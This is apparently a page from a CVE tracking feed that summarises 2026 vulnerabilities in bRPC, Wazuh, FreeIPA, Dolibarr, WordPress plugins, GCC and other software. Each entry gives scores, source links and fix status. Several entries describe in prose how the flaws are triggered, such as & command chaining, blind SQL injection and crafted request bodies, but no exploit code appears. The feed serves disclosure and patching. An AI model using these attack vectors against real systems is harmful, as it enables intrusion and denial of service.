Uncontrolled resource allocation in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server allocate a large amount of memory via sending a crafted mcpack request with a huge array item count.

Root Cause:
The bRPC mcpack2pb parser trusts the item count stored in the mcpack array header without validating it against the actual payload size. The code generated by the mcpack2pb protoc plugin uses this count to preallocate memory for repeated protobuf fields via Reserve(). A malformed request declaring item_count = 0x7fffffff can force the server to preallocate about 16GB of virtual memory, which may abort the process (SIGABRT) on memory-constrained hosts.

Affected Scenarios:
Use a bRPC server that wires a NsheadService to UbrpcMcpack2Adaptor (the Baidu ubrpc deployment pattern) and parses requests with code generated by the mcpack2pb protoc plugin. The request body is parsed before authentication.

How to Fix:
(Choose one of the following options)
1. Upgrade bRPC to version 1.18.0, which fixes this issue.
2. Apply this patch:  https://github.com/apache/brpc/pull/3451 

Note:
No matter which option you choose, you should know that the fix caps the array item count to the remaining bytes of the array payload.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wazuh 4.14.3 before 4.14.8 and 4.10.4 contains a case-sensitivity mismatch between the ossec.conf validator and wazuh-logcollector that bypasses remote-command validation.
https://kevwire.com/record/CVE-2026-74041
Wazuh 4.14.3 before 4.14.8 and 4.10.4 contains a case-sensitivity mismatch between the ossec.conf validator and wazuh-logcollector that bypasses remote-command validation. (Oct 13, 2026).
Wazuh 4.14.3 before 4.14.8 and 4.10.4 contains a case-sensitivity mismatch between the ossec.conf validator and wazuh-logcollector that bypasses remote-command validation. Authenticated users with manager:update_config can inject an uppercase LOG_FORMAT command localfile that the collector runs as root on reload.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74041).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-74041&date=2026-10-25).
Sources:
NVD CVE-2026-74041: https://nvd.nist.gov/vuln/detail/CVE-2026-74041
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-74041&date=2026-10-25
Wazuh 4.14.3 before 4.14.8 and 4.10.4 contains a case-sensitivity mismatch between the ossec.conf validator and wazuh-logcollector that bypasses remote-command validation. Authenticated users with manager:update_config can inject an uppercase LOG_FORMAT command localfile that the collector runs as root on reload.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit a vulnerability in the `/ipa/i18n_messages` endpoint by sending an arbitrarily large request body.
https://kevwire.com/record/CVE-2026-73198
A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit a vulnerability in the `/ipa/i18n_messages` endpoint by sending an arbitrarily large request body. (Aug 20, 2026).
A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit a vulnerability in the `/ipa/i18n_messages` endpoint by sending an arbitrarily large request body. This can cause the service to consume excessive memory, leading to memory exhaustion, degraded responsiveness, and a denial of service (DoS) condition.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73198).
Sources:
NVD CVE-2026-73198: https://nvd.nist.gov/vuln/detail/CVE-2026-73198
Vendor advisory (via NVD references): https://access.redhat.com/security/cve/CVE-2026-73198
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit a vulnerability in the `/ipa/i18n_messages` endpoint by sending an arbitrarily large request body. This can cause the service to consume excessive memory, leading to memory exhaustion, degraded responsiveness, and a denial of service (DoS) condition.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit this vulnerability by sending oversized form POST requests to the `/ipa/migration/migration.py`...
https://kevwire.com/record/CVE-2026-73197
A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit this vulnerability by sending oversized form POST requests to the `/ipa/migration/migration.py`... (Aug 20, 2026).
A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit this vulnerability by sending oversized form POST requests to the `/ipa/migration/migration.py` endpoint. This can force the migration handler to read attacker-controlled request bodies fully into memory, leading to increased memory usage, slower request handling, and potential service disruption or denial of service.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73197).
Sources:
NVD CVE-2026-73197: https://nvd.nist.gov/vuln/detail/CVE-2026-73197
Vendor advisory (via NVD references): https://access.redhat.com/security/cve/CVE-2026-73197
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit this vulnerability by sending oversized form POST requests to the `/ipa/migration/migration.py` endpoint. This can force the migration handler to read attacker-controlled request bodies fully into memory, leading to increased memory usage, slower request handling, and potential service disruption or denial of service.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in FreeIPA. The trust-fetch-domains command is gated by a read-only permission on the trust object rather than a trust-administration permission, allowing an...
https://kevwire.com/record/CVE-2026-19550
A flaw was found in FreeIPA. The trust-fetch-domains command is gated by a read-only permission on the trust object rather than a trust-administration permission, allowing an... (Aug 11, 2026).
A flaw was found in FreeIPA. The trust-fetch-domains command is gated by a read-only permission on the trust object rather than a trust-administration permission, allowing an authenticated, non-privileged IPA user to trigger a privileged Active Directory trust refresh using an attacker-supplied server and credentials, resulting in unauthorized, attacker-controlled modification of trusted-domain and ID-range identity data in the IPA LDAP directory.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19550).
Sources:
NVD CVE-2026-19550: https://nvd.nist.gov/vuln/detail/CVE-2026-19550
Vendor advisory (via NVD references): https://access.redhat.com/security/cve/CVE-2026-19550
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A flaw was found in FreeIPA. The trust-fetch-domains command is gated by a read-only permission on the trust object rather than a trust-administration permission, allowing an authenticated, non-privileged IPA user to trigger a privileged Active Directory trust refresh using an attacker-supplied server and credentials, resulting in unauthorized, attacker-controlled modification of trusted-domain and ID-range identity data in the IPA LDAP directory.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in FreeIPA. An unauthenticated remote attacker could exploit a DOM Cross-Site Scripting (XSS) vulnerability in the FreeIPA/IdM Web UI password reset page.
https://kevwire.com/record/CVE-2026-18147
A flaw was found in FreeIPA. An unauthenticated remote attacker could exploit a DOM Cross-Site Scripting (XSS) vulnerability in the FreeIPA/IdM Web UI password reset page. (Sep 9, 2026).
A flaw was found in FreeIPA. An unauthenticated remote attacker could exploit a DOM Cross-Site Scripting (XSS) vulnerability in the FreeIPA/IdM Web UI password reset page. By enticing a victim to click a specially crafted link and complete a password reset, the attacker could inject and execute arbitrary JavaScript code. This allows the attacker to perform actions within the victim's authenticated session, potentially leading to full administrative control if an IdM administrator is targeted.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18147).
Sources:
NVD CVE-2026-18147: https://nvd.nist.gov/vuln/detail/CVE-2026-18147
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A flaw was found in FreeIPA. An unauthenticated remote attacker could exploit a DOM Cross-Site Scripting (XSS) vulnerability in the FreeIPA/IdM Web UI password reset page. By enticing a victim to click a specially crafted link and complete a password reset, the attacker could inject and execute arbitrary JavaScript code. This allows the attacker to perform actions within the victim's authenticated session, potentially leading to full administrative control if an IdM administrator is targeted.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A privilege escalation flaw was found in FreeIPA.
https://kevwire.com/record/CVE-2026-13097
A privilege escalation flaw was found in FreeIPA. (Aug 20, 2026).
A privilege escalation flaw was found in FreeIPA. The uniqueness constraint enforced on Kerberos principal name attributes in the 389-ds directory server does not properly account for equivalent representations of the same principal name, allowing a user with sufficient LDAP write privileges to create a service principal that impersonates an existing privileged one. This can lead to unauthorized acquisition of Kerberos service tickets for sensitive services, potentially resulting in full domain compromise.
CVSS 8.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-13097).
Sources:
NVD CVE-2026-13097: https://nvd.nist.gov/vuln/detail/CVE-2026-13097
Vendor advisory (via NVD references): https://access.redhat.com/security/cve/CVE-2026-13097
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A privilege escalation flaw was found in FreeIPA. The uniqueness constraint enforced on Kerberos principal name attributes in the 389-ds directory server does not properly account for equivalent representations of the same principal name, allowing a user with sufficient LDAP write privileges to create a service principal that impersonates an existing privileged one. This can lead to unauthorized acquisition of Kerberos service tickets for sensitive services, potentially resulting in full domain compromise.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in FreeIPA. When a trust relationship is configured between FreeIPA and Active Directory, Active Directory users can bypass authentication for FreeIPA services,...
https://kevwire.com/record/CVE-2026-11861
A flaw was found in FreeIPA. When a trust relationship is configured between FreeIPA and Active Directory, Active Directory users can bypass authentication for FreeIPA services,... (Aug 20, 2026).
A flaw was found in FreeIPA. When a trust relationship is configured between FreeIPA and Active Directory, Active Directory users can bypass authentication for FreeIPA services, including the portal, SMB server, and LDAP directory. This is possible by impersonating a client name in the Ticket Granting Service (TGS) due to FreeIPA services not verifying Privilege Attribute Certificate (PAC) certificates. This vulnerability could allow an authenticated Active Directory user to escalate their privileges within the FreeIPA domain.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-11861).
Sources:
NVD CVE-2026-11861: https://nvd.nist.gov/vuln/detail/CVE-2026-11861
Vendor advisory (via NVD references): https://access.redhat.com/security/cve/CVE-2026-11861
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A flaw was found in FreeIPA. When a trust relationship is configured between FreeIPA and Active Directory, Active Directory users can bypass authentication for FreeIPA services, including the portal, SMB server, and LDAP directory. This is possible by impersonating a client name in the Ticket Granting Service (TGS) due to FreeIPA services not verifying Privilege Attribute Certificate (PAC) certificates. This vulnerability could allow an authenticated Active Directory user to escalate their privileges within the FreeIPA domain.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NXP MCUXpresso SDK USB middleware (mcuxsdk-middleware-usb) before 2.13.0 contains a heap buffer overflow in host audio, video and CDC class drivers that trust device-supplied...
https://kevwire.com/record/CVE-2026-116488
NXP MCUXpresso SDK USB middleware (mcuxsdk-middleware-usb) before 2.13.0 contains a heap buffer overflow in host audio, video and CDC class drivers that trust device-supplied... (Oct 26, 2026).
NXP MCUXpresso SDK USB middleware (mcuxsdk-middleware-usb) before 2.13.0 contains a heap buffer overflow in host audio, video and CDC class drivers that trust device-supplied bNumEndpoints and bLength values. A malicious USB device can supply crafted descriptors that write endpoint entries past the fixed-size epList array, corrupting heap memory for code execution or denial of service.
CVSS 7.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116488).
Sources:
NVD CVE-2026-116488: https://nvd.nist.gov/vuln/detail/CVE-2026-116488
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NXP MCUXpresso SDK USB middleware (mcuxsdk-middleware-usb) before 2.13.0 contains a heap buffer overflow in host audio, video and CDC class drivers that trust device-supplied bNumEndpoints and bLength values. A malicious USB device can supply crafted descriptors that write endpoint entries past the fixed-size epList array, corrupting heap memory for code execution or denial of service.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### danmu_api before 1.21.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to modify server environment configuration when the default TOKEN is...
https://kevwire.com/record/CVE-2026-116485
danmu_api before 1.21.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to modify server environment configuration when the default TOKEN is... (Oct 26, 2026).
danmu_api before 1.21.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to modify server environment configuration when the default TOKEN is used and ADMIN_TOKEN is unset. Attackers can send POST requests to /api/env/set, /api/env/add, or /api/env/del to set ADMIN_TOKEN, lock out operators, redirect OTHER_SERVER or PROXY_URL for SSRF, and trigger redeployment.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116485).
Sources:
NVD CVE-2026-116485: https://nvd.nist.gov/vuln/detail/CVE-2026-116485
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
danmu_api before 1.21.7 contains an authentication bypass vulnerability that allows unauthenticated attackers to modify server environment configuration when the default TOKEN is used and ADMIN_TOKEN is unset. Attackers can send POST requests to /api/env/set, /api/env/add, or /api/env/del to set ADMIN_TOKEN, lock out operators, redirect OTHER_SERVER or PROXY_URL for SSRF, and trigger redeployment.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dolibarr ERP CRM before 24.0.0 contains an OS command injection vulnerability in htdocs/admin/tools/export.php that lets authenticated administrators bypass the...
https://kevwire.com/record/CVE-2026-116219
Dolibarr ERP CRM before 24.0.0 contains an OS command injection vulnerability in htdocs/admin/tools/export.php that lets authenticated administrators bypass the... (Oct 26, 2026).
Dolibarr ERP CRM before 24.0.0 contains an OS command injection vulnerability in htdocs/admin/tools/export.php that lets authenticated administrators bypass the restrict_os_commands allowlist. Attackers can submit a mysqldump value chaining commands with & characters around an allowlisted basename to execute operating system commands as the web server user.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116219).
Sources:
NVD CVE-2026-116219: https://nvd.nist.gov/vuln/detail/CVE-2026-116219
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Dolibarr ERP CRM before 24.0.0 contains an OS command injection vulnerability in htdocs/admin/tools/export.php that lets authenticated administrators bypass the restrict_os_commands allowlist. Attackers can submit a mysqldump value chaining commands with & characters around an allowlisted basename to execute operating system commands as the web server user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dolibarr ERP CRM 19.0.0 before 23.0.4 contains an SQL injection vulnerability that allows authenticated API users to inject SQL via the type field of the third-party bankaccounts...
https://kevwire.com/record/CVE-2026-116218
Dolibarr ERP CRM 19.0.0 before 23.0.4 contains an SQL injection vulnerability that allows authenticated API users to inject SQL via the type field of the third-party bankaccounts... (Oct 26, 2026).
Dolibarr ERP CRM 19.0.0 before 23.0.4 contains an SQL injection vulnerability that allows authenticated API users to inject SQL via the type field of the third-party bankaccounts REST endpoint. Attackers with only societe/creer permission can break out of the unescaped type value in CompanyBankAccount::create() to read password hashes and API keys via time-based blind subqueries.
CVSS 7.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116218).
Sources:
NVD CVE-2026-116218: https://nvd.nist.gov/vuln/detail/CVE-2026-116218
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
Dolibarr ERP CRM 19.0.0 before 23.0.4 contains an SQL injection vulnerability that allows authenticated API users to inject SQL via the type field of the third-party bankaccounts REST endpoint. Attackers with only societe/creer permission can break out of the unescaped type value in CompanyBankAccount::create() to read password hashes and API keys via time-based blind subqueries.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in David Lingren Media LIbrary Assistant media-library-assistant allows Blind...
https://kevwire.com/record/CVE-2026-115948
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in David Lingren Media LIbrary Assistant media-library-assistant allows Blind... (Oct 26, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in David Lingren Media LIbrary Assistant media-library-assistant allows Blind SQL Injection.This issue affects Media LIbrary Assistant: from n/a through 3.42.
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115948).
Sources:
NVD CVE-2026-115948: https://nvd.nist.gov/vuln/detail/CVE-2026-115948
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in David Lingren Media LIbrary Assistant media-library-assistant allows Blind SQL Injection.This issue affects Media LIbrary Assistant: from n/a through 3.42.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Crocoblock JetEngine jet-engine allows SQL Injection.This issue affects...
https://kevwire.com/record/CVE-2026-115608
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Crocoblock JetEngine jet-engine allows SQL Injection.This issue affects... (Oct 26, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Crocoblock JetEngine jet-engine allows SQL Injection.This issue affects JetEngine: from n/a through 3.9.0.
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115608).
Sources:
NVD CVE-2026-115608: https://nvd.nist.gov/vuln/detail/CVE-2026-115608
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Crocoblock JetEngine jet-engine allows SQL Injection.This issue affects JetEngine: from n/a through 3.9.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Server-side request forgery (ssrf) in Azure AI Foundry allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-108456
Server-side request forgery (ssrf) in Azure AI Foundry allows an authorized attacker to elevate privileges over a network. (Oct 22, 2026).
Server-side request forgery (ssrf) in Azure AI Foundry allows an authorized attacker to elevate privileges over a network.
CVSS 7.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108456).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108456&date=2026-10-25).
Sources:
NVD CVE-2026-108456: https://nvd.nist.gov/vuln/detail/CVE-2026-108456
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108456&date=2026-10-25
Server-side request forgery (ssrf) in Azure AI Foundry allows an authorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in GCC. When an application calls the erase_if function on a binary heap priority queue in libstdc++, the library reallocates storage but fails to update its...
https://kevwire.com/record/CVE-2026-102010
A flaw was found in GCC. When an application calls the erase_if function on a binary heap priority queue in libstdc++, the library reallocates storage but fails to update its... (Sep 28, 2026).
A flaw was found in GCC. When an application calls the erase_if function on a binary heap priority queue in libstdc++, the library reallocates storage but fails to update its internal entry pointer. An attacker capable of triggering this operation can exploit this use-after-free condition, leading to a Denial of Service (DoS) via an application crash or potential memory corruption.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102010).
Sources:
NVD CVE-2026-102010: https://nvd.nist.gov/vuln/detail/CVE-2026-102010
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
A flaw was found in GCC. When an application calls the erase_if function on a binary heap priority queue in libstdc++, the library reallocates storage but fails to update its internal entry pointer. An attacker capable of triggering this operation can exploit this use-after-free condition, leading to a Denial of Service (DoS) via an application crash or potential memory corruption.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A code injection vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to its AppleScript interface allowing a locally authenticated...
https://kevwire.com/record/CVE-2026-0236
A code injection vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to its AppleScript interface allowing a locally authenticated... (May 13, 2026).
A code injection vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to its AppleScript interface allowing a locally authenticated non-admin user to leverage this exposed Apple Event handler to send unauthorized commands to the browser.
CVSS 7.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0236).
Sources:
NVD CVE-2026-0236: https://nvd.nist.gov/vuln/detail/CVE-2026-0236
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0236
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A code injection vulnerability in Palo Alto Networks Prisma® Browser on macOS fails to properly restrict access to its AppleScript interface allowing a locally authenticated non-admin user to leverage this exposed Apple Event handler to send unauthorized commands to the browser.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An information disclosure vulnerability in Trust Protection Foundation enables an authenticated attacker to obtain sensitive information from the server's vault.
https://kevwire.com/record/CVE-2026-0240
An information disclosure vulnerability in Trust Protection Foundation enables an authenticated attacker to obtain sensitive information from the server's vault. (May 13, 2026).
